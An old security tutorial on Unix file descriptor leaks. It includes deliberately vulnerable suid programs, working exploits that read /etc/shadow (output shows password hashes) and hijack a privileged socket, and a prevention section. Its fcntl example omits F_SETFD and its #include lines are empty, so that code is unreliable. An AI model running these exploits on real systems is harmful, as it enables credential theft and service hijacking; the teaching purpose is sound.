+---------------------------------------+ | Stealing file descriptors for dummies | +---------------------------------------+ by Leon Juranic http://barok.foi.hr/~ljuranic/ ToC: 1. Intro 2. File Descriptor nonsense 3. Unix processes 3.1. fork() case 3.2. execve() case 4. Leaks, big leaks 4.1 Regular file descriptor leak 4.2 Socket file descriptor leak 5. Prevention and detection 6. Thanks 7. References 1. Intro When parents raise their kids, there is one rule that should be followed: "Give your kids everything that they want, if you want to destroy them". Funny, but that rule applies to the Unix world also, where the parent process must be restrictive to their children, if they want to have a strong and secure child. In reality, parents will give their kids some specific characteristics (eye color, hair color, etc.), and in the Unix world, a child process will inherit from its parent process open file descriptors, signal handlers, shared memory space, etc. In this text, we will focus on file descriptor leaks between parent and child processes. This type of bugs is not new, they're easy to spot unlike for example integer overflows, and easy to exploit. But still, they seem to be shrouded in myst as many people neglect to see this as a threat. Proof of this statement can be found in file descriptor leaks such as those in Apache modules ([1] and [2]) and [3], discovered not so long ago by Steven Grubb. File descriptor leaks will allow any local user to write or read (under normal circumstances) a normally forbidden file, hijack an important network socket, or change file permissions on a critical system file. 2. File Descriptor nonsense As someone, somewhere said - "First things first". Due to the fact that this is for dummies, we must explain some basic stuff first. :-) A File descriptor is a non-negative integer representive of an open file for a process on Unix system, and it can be used in subsequent I/O operations with read(), write(), etc. Every open file within some process will have its own file descriptor number. There are few commonly open file descriptors on Unix systems that most processes have: - standard input (fd 0) -> stdin - standard output (fd 1) -> stdout - standard error (fd 2) -> stderr Unless they are redirected or closed, in a regular user process, standard file descriptors "point" to the user's terminal (e.g. /dev/pts/1). After the first three standard file descriptors, each additional file descriptor will be increased by one.(e.g. 3, 4, 5, etc.). File descriptors may point to: - regular file - socket - directory - symbolic link - character device - block device - FIFO New file descriptors can be created with open() and creat() system calls. There are also libc functions such as fopen(), fdopen(), freopen(), but when obersving it at a lower level, they all incorperate the open() system call. File descriptors may be created using several flags. Some of the file descriptor flags: - O_RDONLY - open file for read-only - O_WRONLY - open file for write-only - O_RDWR - open file for read and write - O_CREAT - if the file doesn't exist, it will be created - O_EXECL - when this flag is used with O_CREAT, if file already exists, open() will return -1 (error) - O_TRUNC - if the file already exists and it is regular file, it will be truncated to 0 - O_APPEND - file pointer will be positioned at the end of file Let's dig in Linux 2.4 kernel source a little bit to see how the kernel handles opening a file and how file descriptor allocation works on a lower level. You don't have to know this but it is a good reference when trying to understand file descriptor leaks, and this will give you a little more knowledge. In Linux, every process has its own "task_struct" structure that contains the UID and GID of the owner, process state, PID, signal handlers, namespace, open file informations, etc. An open file's information is stored in a "files_struct" structure named "files" within "task_struct". To be more precise, an open file information is stored within an array of "file" structures, named "fd" within "files_struct" structure. A file descriptor number is in fact position of "file" structure in the "fd" array that describes some particular file. Structures "files_struct" and "file": struct files_struct { atomic_t count; rwlock_t file_lock; int max_fds; int max_fdset; int next_fd; struct file ** fd; /* current file descriptors array */ fd_set *close_on_exec; fd_set *open_fds; fd_set close_on_exec_init; fd_set open_fds_init; struct file * fd_array[NR_OPEN_DEFAULT]; }; struct file { struct list_head f_list; struct dentry *f_dentry; struct vfsmount *f_vfsmnt; struct file_operations *f_op; atomic_t f_count; unsigned int f_flags; mode_t f_mode; .... .... }; As we already know, file descriptors can be created with open() and creat() system calls. On the kernel level, the sys_open() and sys_creat() are the functions which handle this task. Code for sys_open() and sys_creat() system calls is in /usr/src/linux-2.4/fs/open.c. Short description: sys_open() - Returns open file descriptor number -> get_unused_fd() - Find an empty file descriptor entry in "fd" array -> filp_open() - Returns "file" structure for some file -> fd_install - Puts a file pointer in the "fd" array sys_create () - Returns open file descriptor number -> sys_open() - sys_open() with O_CREAT, O_WRONLY and O_TRUNC flag 3. Unix processes A process is just a program in execution. Every new (child) process is created from an already existent process (parent). New processes are created with the fork() and execve() system calls. There are many other libc calls like system(), execl(), execlp(), popen(), etc., but they are all just a fancy interface to fork() and execve(). 3.1. fork() case Prototype: pid_t fork(void); - fork() will create a child process that is exactly the same as the parent process. The only difference between parent and child process are in fact the PID (Process IDentification) and PPID (Parent Process IDentification) numbers. When some process calls fork(), the child process will inherit from its parent open file descriptors, file system settings, signal handlers, memory space, namespace and thread itself. When fork() is successful, the child PID is returned to the parent process, and 0 is returned to the child process. In case of an error, -1 is returned to the parent process. The source for the fork() function can be found within the kernel source in /usr/src/linux-2.4/kernel/fork.c. 3.2. execve() case Prototype: int execve(const char *filename, char *const argv [], char *const envp[]); - execve() will execute the program pointed to by filename. When execve() is called, TEXT, DATA, BSS and STACK memory from the current program is overwritten with new sections from the program that will be executed. On success, execve() returns nothing. Process PID is not changed and the child process will also receive open file descriptors from its parent. The source code for execve() can be found in /usr/src/linux-2.4/fs/exec.c. 4. Leaks, big leaks A file descriptor leak vulnerability exists when a parent process creates a child process, and some sensitive file descriptor is accidentaly given to the child, which can potentially abuse it. Just for example - if parent process UID and GID is 0, and root privileges are dropped before the child process is spawned, the child process will inherit all leaked file descriptors, despite the fact that child is not privileged. Also, in programs that operate with sockets, when new child is created to serve client, if there is some important server socket file descriptor leak, we can hijack that socket, and put our server on it. 4.1 Regular file descriptor leak Let's assume that we have an suid root program that calls open() and fstat() on the /etc/shadow file, just in case drops root privileges, creates child process with fork(), and runs some user-defined program with system() call. Here is the code: fdvuln1.c ---cut here--- #include #include #include #include #include main (int argc, char **argv) { int fd; struct stat st; if (argc != 2) { printf ("Usage: %s \n",argv[0]); exit (-1); } if ((fd = open ("/etc/shadow",O_RDWR)) == -1) { perror ("open:"); exit (-1); } if ((fstat (fd, &st)) != 0) { perror ("fstat:"); exit(-1); } printf ("/etc/shadow owner is UID %d and GID %d\n",st.st_uid,st.st_gid); setreuid (getuid(),getuid()); setregid (getgid(),getgid()); if (fork() == 0) { system (argv[1]); exit(0); } printf ("bye, bye!!!\n"); close (fd); } ---cut here--- As we can see, a file descriptor is opened, points to "/etc/shadow" in read and write mode (O_RDWR flag), but it isn't closed before fork() and system(), so an unprivileged child process will inherit the file descriptor pointing to "/etc/shadow" that can be (ab)used to read and write this critical system file. Let's see if "/etc/shadow" file descriptor is really present in the child process. [noone@laptop tmp]$ ./fdvuln1 /bin/sh /etc/shadow owner is UID 0 and GID 0 bye, bye!!! [noone@laptop tmp]$ ps PID TTY TIME CMD 6221 pts/6 00:00:00 bash 6583 pts/6 00:00:00 fdvuln1 6584 pts/6 00:00:00 sh 6585 pts/6 00:00:00 ps [noone@laptop tmp]$ ls -al /proc/6584/fd/ total 0 dr-x------ 2 noone noone 0 Feb 27 20:04 . dr-xr-xr-x 3 noone noone 0 Feb 27 20:04 .. lrwx------ 1 noone noone 64 Feb 27 20:04 0 -> /dev/pts/6 lrwx------ 1 noone noone 64 Feb 27 20:04 1 -> /dev/pts/6 lrwx------ 1 noone noone 64 Feb 27 20:04 2 -> /dev/pts/6 lrwx------ 1 noone noone 64 Feb 27 20:04 255 -> /dev/pts/6 lrwx------ 1 noone noone 64 Feb 27 20:04 3 -> /etc/shadow [noone@laptop tmp]$ File descriptor is leaked to the child, it has number 3, and now we can construct the exploit that will read "/etc/shadow" file. fdexp1.c ---cut here--- main () { char buffer[1024]; int n; while ((n = read (3,buffer,sizeof(buffer)-1)) != 0) { buffer[n] = '\0'; printf ("%s",buffer); } } ---cut here--- Exploitation: [noone@laptop tmp]$ ./fdvuln1 ./fdexp1 /etc/shadow owner is UID 0 and GID 0 [noone@laptop tmp]$ root:$1$PTq7jbsJ$DIe.fhBTdNrN6d13dsOGy0:12401:0:99999:7::: bin:*:10929:0:99999:7::: ....... zeroday:$1$KSl5Zhjo$SS2h1csPiEwb3SXveA33A1:10975:0:99999:7::: leon:$1$LwE4/wkA$zBPjfZAg1KsP/W/XQBhBX.:11044:0:99999:7::: bye, bye!!! 4.2 Socket file descriptor leak Important (server) socket leaks will allow us to hijack some port where socket is listening, and allow to put a custom server program on that port. Here we can see tiny inetd-like program that will execute some user defined program, and all standard file descriptors will be redirected to the socket. It listens on TCP port 100, so the program must also be suid root, so normal users can use it too. Socket file descriptor can be created with socket() system call. fdvuln2.c ---cut here--- #include #include #include #include #include main (int argc, char **argv) { int fdcl, fdsr, i=1, n; struct sockaddr_in serv, cli; char hi[] = "\n\n\n"; pid_t pid; if (argc != 2) { printf ("Usage: %s \n\n",argv[0]); exit (-1); } fdsr = socket (AF_INET, SOCK_STREAM, 0); setsockopt (fdsr, SOL_SOCKET, SO_REUSEADDR, (void*)&i, sizeof(i)); serv.sin_family = AF_INET; serv.sin_port = htons (100); serv.sin_addr.s_addr = INADDR_ANY; bzero (serv.sin_zero, 8); if ((bind(fdsr, (struct sockaddr*)&serv, sizeof (struct sockaddr))) == -1) { perror ("bind:"); exit(-1); } listen (fdsr, 5); n = sizeof(struct sockaddr); fdcl = accept (fdsr, (struct sockaddr*)&cli, &n); write (fdcl,hi,strlen(hi)); if ((pid = fork()) == 0) { setreuid (getuid(),getuid()); setregid (getgid(),getgid()); dup2 (fdcl, 0); dup2 (fdcl, 1); dup2 (fdcl, 2); if(system (argv[1]) == -1) exit(0); } else { printf ("- New process\n"); exit(0); } } ---cut here--- When the client is connected, the program will drop root privileges, and execute a user-defined program. This program leaks server socket to the child process, and therefore we can hijack it. Here we see open file descriptors for fdvuln2.c child process: [noone@laptop tmp]$ ./fdvuln2 /bin/sh& [noone@laptop tmp]$ nc localhost 100& [noone@laptop tmp]$ ps PID TTY TIME CMD 2462 pts/8 00:00:00 bash 2512 pts/8 00:00:00 fdvuln2 2513 pts/8 00:00:00 sh 2517 pts/8 00:00:00 ps [noone@laptop tmp]$ ls -la /proc/2513/fd total 0 dr-x------ 2 noone noone 0 Feb 29 01:33 . dr-xr-xr-x 3 noone noone 0 Feb 29 01:33 .. lrwx------ 1 noone noone 64 Feb 29 01:33 0 -> socket:[12296] lrwx------ 1 noone noone 64 Feb 29 01:33 1 -> socket:[12296] lrwx------ 1 noone noone 64 Feb 29 01:33 2 -> socket:[12296] lrwx------ 1 noone noone 64 Feb 29 01:33 3 -> socket:[12295] lrwx------ 1 noone noone 64 Feb 29 01:33 4 -> socket:[12296] [noone@laptop tmp]$ File descriptor 3 is server socket leaked from its parent, and socket 4 is client socket. Here is the exploit: fdexp2.c ---cut here--- #include #include #include #include main () { char phrack[] = "PHRACK RULEZ;-)\n"; int fd, i = sizeof(struct sockaddr); struct sockaddr_in sin; while (1) { fd = accept (3,(struct sockaddr*)&sin,&i); write (fd,phrack,strlen(phrack)); close(fd); } } ---cut here--- Just run "./fdvuln2 ./fdexp2", and the server socket for privileged TCP port 100 will be hijacked. 5. Prevention and detection Most important is that programmer knows what is the purpose of each file descriptor in program; when it isn't needed any more, and where can it leak. When file descriptor isn't needed any more, it can be closed with close() system call. There is another case, when file descriptor must remain open, but the child process should not inherit it. In that case, program can put special "close on exec" flag on file descriptor. When some file descriptor has an "close on exec" flag, it will be closed for every new spawned child process, but it will remain open in parent process. Example: ---cut here--- #include fcntl(fd,FD_CLOEXEC); ---cut here--- If program calls fcntl() with FD_CLOEXEC flag after the file descriptor is opened, it will be secured from file descriptor leaks. File descriptors can be easily detected manually by checking /proc/'PID'/fd directory, or with great environment audit tool Env_audit that can be found in [4]. 6. Thanks Thanks to loofus for helping me with english, and thanks to Bojan Zdrnja for brief FD leak discussion. 7. References [1] Apache 2 mod_perl file descriptor leak [http://www.securityfocus.com/archive/1/350648] [2] Apache 2 mod_php file descriptor leak [http://www.securityfocus.com/archive/1/348368] [3] Stunnel-3.x Daemon Hijacking [http://www.securityfocus.com/archive/1/335996] [4] Env_audit by Steven Grubb [http://www.web-insights.net/env_audit/]